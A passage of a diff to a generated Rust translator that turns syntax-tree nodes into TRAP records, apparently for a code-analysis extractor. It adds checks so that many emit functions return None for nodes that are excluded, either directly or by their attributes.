self.emit_lifetime(&x)); @@ -687,6 +762,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let function = node.expr().and_then(|x| self.emit_expr(&x)); @@ -708,6 +786,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -726,6 +807,9 @@ impl Translator<'_> { &mut self, node: &ast::ClosureBinder, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -745,6 +829,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let body = node.body().and_then(|x| self.emit_expr(&x)); let closure_binder = node @@ -779,6 +866,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let body = node.body().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); @@ -805,6 +895,9 @@ impl Translator<'_> { &mut self, node: &ast::ConstArg, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ConstArg { id: TrapId::Star, @@ -819,6 +912,9 @@ impl Translator<'_> { &mut self, node: &ast::ConstBlockPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::ConstBlockPat { @@ -838,6 +934,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let default_val = node.default_val().and_then(|x| self.emit_const_arg(&x)); let is_const = node.const_token().is_some(); @@ -863,6 +962,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::ContinueExpr { @@ -879,6 +981,9 @@ impl Translator<'_> { &mut self, node: &ast::DynTraitType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_bound_list = node .type_bound_list() .and_then(|x| self.emit_type_bound_list(&x)); @@ -895,6 +1000,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let generic_param_list = node .generic_param_list() @@ -921,6 +1029,9 @@ impl Translator<'_> { &mut self, node: &ast::ExprStmt, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ExprStmt { id: TrapId::Star, @@ -938,6 +1049,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let abi = node.abi().and_then(|x| self.emit_abi(&x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let extern_item_list = node @@ -963,6 +1077,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let rename = node.rename().and_then(|x| self.emit_rename(&x)); @@ -986,6 +1103,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let extern_items = node .extern_items() @@ -1008,6 +1128,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let container = node.expr().and_then(|x| self.emit_expr(&x)); let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); @@ -1026,6 +1149,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let abi = node.abi().and_then(|x| self.emit_abi(&x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let body = node.body().and_then(|x| self.emit_block_expr(&x)); @@ -1068,6 +1194,9 @@ impl Translator<'_> { &mut self, node: &ast::FnPtrType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let abi = node.abi().and_then(|x| self.emit_abi(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); @@ -1095,6 +1224,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let iterable = node.iterable().and_then(|x| self.emit_expr(&x)); let label = node.label().and_then(|x| self.emit_label(&x)); @@ -1117,6 +1249,9 @@ impl Translator<'_> { &mut self, node: &ast::ForType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -1135,6 +1270,9 @@ impl Translator<'_> { &mut self, node: &ast::FormatArgsArg, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let expr = node.expr().and_then(|x| self.emit_expr(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::FormatArgsArg { @@ -1154,6 +1292,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let args = node .args() .filter_map(|x| self.emit_format_args_arg(&x)) @@ -1175,6 +1316,9 @@ impl Translator<'_> { &mut self, node: &ast::GenericArgList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_args = node .generic_args() .filter_map(|x| self.emit_generic_arg(&x)) @@ -1192,6 +1336,9 @@ impl Translator<'_> { &mut self, node: &ast::GenericParamList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_params = node .generic_params() .filter_map(|x| self.emit_generic_param(&x)) @@ -1212,6 +1359,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_mut = node.mut_token().is_some(); let is_ref = node.ref_token().is_some(); @@ -1234,6 +1384,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let condition = node.condition().and_then(|x| self.emit_expr(&x)); let else_ = node.else_branch().and_then(|x| self.emit_else_branch(&x)); @@ -1254,6 +1407,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let assoc_item_list = node .assoc_item_list() .and_then(|x| self.emit_assoc_item_list(&x)); @@ -1290,6 +1446,9 @@ impl Translator<'_> { &mut self, node: &ast::ImplTraitType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_bound_list = node .type_bound_list() .and_then(|x| self.emit_type_bound_list(&x)); @@ -1309,6 +1468,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let base = node.base().and_then(|x| self.emit_expr(&x)); let index = node.index().and_then(|x| self.emit_expr(&x)); @@ -1327,6 +1489,9 @@ impl Translator<'_> { &mut self, node: &ast::InferType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self .trap .emit(generated::InferTypeRepr { id: TrapId::Star }); @@ -1342,6 +1507,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::ItemList { @@ -1355,6 +1523,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_label(&mut self, node: &ast::Label) -> Option> { + if self.should_be_excluded(node) { + return None; + } let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::Label { id: TrapId::Star, @@ -1369,6 +1540,9 @@ impl Translator<'_> { &mut self, node: &ast::LetElse, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LetElse { id: TrapId::Star, @@ -1386,6 +1560,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); let pat = node.pat().and_then(|x| self.emit_pat(&x)); @@ -1407,6 +1584,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let initializer = node.initializer().and_then(|x| self.emit_expr(&x)); let let_else = node.let_else().and_then(|x| self.emit_let_else(&x)); @@ -1429,6 +1609,9 @@ impl Translator<'_> { &mut self, node: &ast::Lifetime, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::Lifetime { id: TrapId::Star, @@ -1443,6 +1626,9 @@ impl Translator<'_> { &mut self, node: &ast::LifetimeArg, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::LifetimeArg { id: TrapId::Star, @@ -1460,6 +1646,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let type_bound_list = node @@ -1483,6 +1672,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let text_value = node.try_get_text(); let label = self.trap.emit(generated::LiteralExpr { @@ -1499,6 +1691,9 @@ impl Translator<'_> { &mut self, node: &ast::LiteralPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let literal = node.literal().and_then(|x| self.emit_literal(&x)); let label = self.trap.emit(generated::LiteralPat { id: TrapId::Star, @@ -1516,6 +1711,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = node.label().and_then(|x| self.emit_label(&x)); let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); @@ -1537,6 +1735,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let path = node.path().and_then(|x| self.emit_path(&x)); let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); @@ -1558,6 +1759,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let args = node.args().and_then(|x| self.emit_token_tree(&x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let body = node.body().and_then(|x| self.emit_token_tree(&x)); @@ -1580,6 +1784,9 @@ impl Translator<'_> { &mut self, node: &ast::MacroExpr, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroExpr { id: TrapId::Star, @@ -1594,6 +1801,9 @@ impl Translator<'_> { &mut self, node: &ast::MacroItems, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::MacroItems { id: TrapId::Star, @@ -1608,6 +1818,9 @@ impl Translator<'_> { &mut self, node: &ast::MacroPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroPat { id: TrapId::Star, @@ -1625,6 +1838,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let name = node.name().and_then(|x| self.emit_name(&x)); let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); @@ -1645,6 +1861,9 @@ impl Translator<'_> { &mut self, node: &ast::MacroStmts, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let tail_expr = node.expr().and_then(|x| self.emit_expr(&x)); let statements = node .statements() @@ -1664,6 +1883,9 @@ impl Translator<'_> { &mut self, node: &ast::MacroType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroTypeRepr { id: TrapId::Star, @@ -1681,6 +1903,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let guard = node.guard().and_then(|x| self.emit_match_guard(&x)); @@ -1704,6 +1929,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let arms = node .arms() .filter_map(|x| self.emit_match_arm(&x)) @@ -1726,6 +1954,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); let match_arm_list = node @@ -1746,6 +1977,9 @@ impl Translator<'_> { &mut self, node: &ast::MatchGuard, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let condition = node.condition().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MatchGuard { id: TrapId::Star, @@ -1757,6 +1991,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_meta(&mut self, node: &ast::Meta) -> Option> { + if self.should_be_excluded(node) { + return None; + } let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); let path = node.path().and_then(|x| self.emit_path(&x)); @@ -1780,6 +2017,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let generic_arg_list = node @@ -1804,6 +2044,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let item_list = node.item_list().and_then(|x| self.emit_item_list(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); @@ -1821,6 +2064,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_name(&mut self, node: &ast::Name) -> Option> { + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::Name { id: TrapId::Star, @@ -1835,6 +2081,9 @@ impl Translator<'_> { &mut self, node: &ast::NameRef, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::NameRef { id: TrapId::Star, @@ -1849,6 +2098,9 @@ impl Translator<'_> { &mut self, node: &ast::NeverType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self .trap .emit(generated::NeverTypeRepr { id: TrapId::Star }); @@ -1864,6 +2116,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let fields = node .fields() @@ -1882,6 +2137,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_or_pat(&mut self, node: &ast::OrPat) -> Option> { + if self.should_be_excluded(node) { + return None; + } let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::OrPat { id: TrapId::Star, @@ -1896,6 +2154,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let pat = node.pat().and_then(|x| self.emit_pat(&x)); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -1914,6 +2175,9 @@ impl Translator<'_> { &mut self, node: &ast::ParamList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let params = node.params().filter_map(|x| self.emit_param(&x)).collect(); let self_param = node.self_param().and_then(|x| self.emit_self_param(&x)); let label = self.trap.emit(generated::ParamList { @@ -1933,6 +2197,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ParenExpr { @@ -1949,6 +2216,9 @@ impl Translator<'_> { &mut self, node: &ast::ParenPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ParenPat { id: TrapId::Star, @@ -1963,6 +2233,9 @@ impl Translator<'_> { &mut self, node: &ast::ParenType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ParenTypeRepr { id: TrapId::Star, @@ -1977,6 +2250,9 @@ impl Translator<'_> { &mut self, node: &ast::ParenthesizedArgList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_args = node .type_args() .filter_map(|x| self.emit_type_arg(&x)) @@ -1991,6 +2267,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_path(&mut self, node: &ast::Path) -> Option> { + if self.should_be_excluded(node) { + return None; + } let qualifier = node.qualifier().and_then(|x| self.emit_path(&x)); let segment = node.segment().and_then(|x| self.emit_path_segment(&x)); let label = self.trap.emit(generated::Path { @@ -2010,6 +2289,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathExpr { @@ -2026,6 +2308,9 @@ impl Translator<'_> { &mut self, node: &ast::PathPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathPat { id: TrapId::Star, @@ -2040,6 +2325,9 @@ impl Translator<'_> { &mut self, node: &ast::PathSegment, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_arg_list = node .generic_arg_list() .and_then(|x| self.emit_generic_arg_list(&x)); @@ -2068,6 +2356,9 @@ impl Translator<'_> { &mut self, node: &ast::PathType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathTypeRepr { id: TrapId::Star, @@ -2085,6 +2376,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); @@ -2103,6 +2397,9 @@ impl Translator<'_> { &mut self, node: &ast::PtrType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -2124,6 +2421,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let end = node.end().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); @@ -2144,6 +2444,9 @@ impl Translator<'_> { &mut self, node: &ast::RangePat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let end = node.end().and_then(|x| self.emit_pat(&x)); let operator_name = node.try_get_text(); let start = node.start().and_then(|x| self.emit_pat(&x)); @@ -2162,6 +2465,9 @@ impl Translator<'_> { &mut self, node: &ast::RecordExpr, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let struct_expr_field_list = node .record_expr_field_list() @@ -2183,6 +2489,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); @@ -2204,6 +2513,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let fields = node .fields() @@ -2228,6 +2540,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let default = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); @@ -2252,6 +2567,9 @@ impl Translator<'_> { &mut self, node: &ast::RecordFieldList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node .fields() .filter_map(|x| self.emit_record_field(&x)) @@ -2269,6 +2587,9 @@ impl Translator<'_> { &mut self, node: &ast::RecordPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let struct_pat_field_list = node .record_pat_field_list() @@ -2290,6 +2611,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let pat = node.pat().and_then(|x| self.emit_pat(&x)); @@ -2308,6 +2632,9 @@ impl Translator<'_> { &mut self, node: &ast::RecordPatFieldList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node .fields() .filter_map(|x| self.emit_record_pat_field(&x)) @@ -2330,6 +2657,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); @@ -2349,6 +2679,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_ref_pat(&mut self, node: &ast::RefPat) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_mut = node.mut_token().is_some(); let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RefPat { @@ -2365,6 +2698,9 @@ impl Translator<'_> { &mut self, node: &ast::RefType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_mut = node.mut_token().is_some(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); @@ -2380,6 +2716,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_rename(&mut self, node: &ast::Rename) -> Option> { + if self.should_be_excluded(node) { + return None; + } let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::Rename { id: TrapId::Star, @@ -2397,6 +2736,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::RestPat { id: TrapId::Star, @@ -2411,6 +2753,9 @@ impl Translator<'_> { &mut self, node: &ast::RetType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RetTypeRepr { id: TrapId::Star, @@ -2428,6 +2773,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ReturnExpr { @@ -2444,6 +2792,9 @@ impl Translator<'_> { &mut self, node: &ast::ReturnTypeSyntax, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self .trap .emit(generated::ReturnTypeSyntax { id: TrapId::Star }); @@ -2459,6 +2810,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_ref = node.amp_token().is_some(); let is_mut = node.mut_token().is_some(); @@ -2483,6 +2837,9 @@ impl Translator<'_> { &mut self, node: &ast::SlicePat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::SlicePat { id: TrapId::Star, @@ -2497,6 +2854,9 @@ impl Translator<'_> { &mut self, node: &ast::SliceType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SliceTypeRepr { id: TrapId::Star, @@ -2514,6 +2874,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::SourceFile { @@ -2530,6 +2893,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let body = node.body().and_then(|x| self.emit_expr(&x)); let is_mut = node.mut_token().is_some(); @@ -2561,6 +2927,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let statements = node .statements() @@ -2582,6 +2951,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); let generic_param_list = node @@ -2608,6 +2980,9 @@ impl Translator<'_> { &mut self, node: &ast::TokenTree, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self.trap.emit(generated::TokenTree { id: TrapId::Star }); self.emit_location(label, node); emit_detached!(TokenTree, self, node, label); @@ -2618,6 +2993,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let assoc_item_list = node .assoc_item_list() .and_then(|x| self.emit_assoc_item_list(&x)); @@ -2657,6 +3035,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let generic_param_list = node .generic_param_list() @@ -2688,6 +3069,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::TryExpr { @@ -2707,6 +3091,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let fields = node.fields().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::TupleExpr { @@ -2726,6 +3113,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); @@ -2744,6 +3134,9 @@ impl Translator<'_> { &mut self, node: &ast::TupleFieldList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node .fields() .filter_map(|x| self.emit_tuple_field(&x)) @@ -2761,6 +3154,9 @@ impl Translator<'_> { &mut self, node: &ast::TuplePat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::TuplePat { id: TrapId::Star, @@ -2775,6 +3171,9 @@ impl 